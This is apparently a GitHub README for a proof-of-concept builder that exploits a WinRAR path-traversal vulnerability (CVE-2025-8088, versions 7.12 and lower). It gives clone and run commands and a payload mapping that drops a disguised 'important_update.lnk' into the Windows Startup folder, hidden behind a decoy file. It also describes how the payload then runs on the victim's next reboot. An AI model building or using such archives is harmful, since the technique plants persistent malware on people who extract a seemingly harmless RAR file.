介绍

# CVE-2025-8088-WinRAR-builder
A POC exploit for WinRAR vulnerability (CVE-2025-8088) affecting versions 7.12 and lower

## 🚀 How It Works

1. Creates a Rar embed with other payloads
2. Using Multiple ADS Streams 🔄 - Attaches payload streams with different path traversal depths
3. Manipulates RAR Headers ⚙️ - Modifies archive structure to exploit path traversal vulnerability
4. Drops Payload to Startup 📂 - Attempts to write payload to Windows startup folder when extracted

## 🛠️ Usage

1. Clone the repository
```bash
git clone https://github.com/papcaii2004/CVE-2025-8088-WinRAR-builder.git
cd CVE-2025-8088-WinRAR-builder
```

2. Prepare payloads
```
mkdir payloads
```
- Add our payloads to that folder (exe, dll, lnk, ...)
- Modify `PAYLOAD_MAPPING` in the script
```python
# 2. Map our payload to corresponding destination
#   Format: (filename_in_payloads_dir, target_extract_dest)
PAYLOAD_MAPPING: List[Tuple[str, str]] = [
    # Payload 1
    ("payload.lnk", "..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\important_update.lnk"),

    # Payload 2
    ("image.png", "C:\\Users\\Public\\Downloads\\logo.png"),

    # Payload 3
    # Add your own    
]
```

3. Run the exploit
```
python builder.py <decoy_file>
```

## 🔄 Execution Flow
1. Victim extracts the RAR with vulnerable WinRAR (≤7.12)
2. Payload gets written to destination folder, e.g. :
   ```bash
   AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
   ```
3. On next reboot ➡️ payload executes automatically

## 📋 Requirements
- Windows OS 🪟
- Python 3.x 🐍
- WinRAR installed
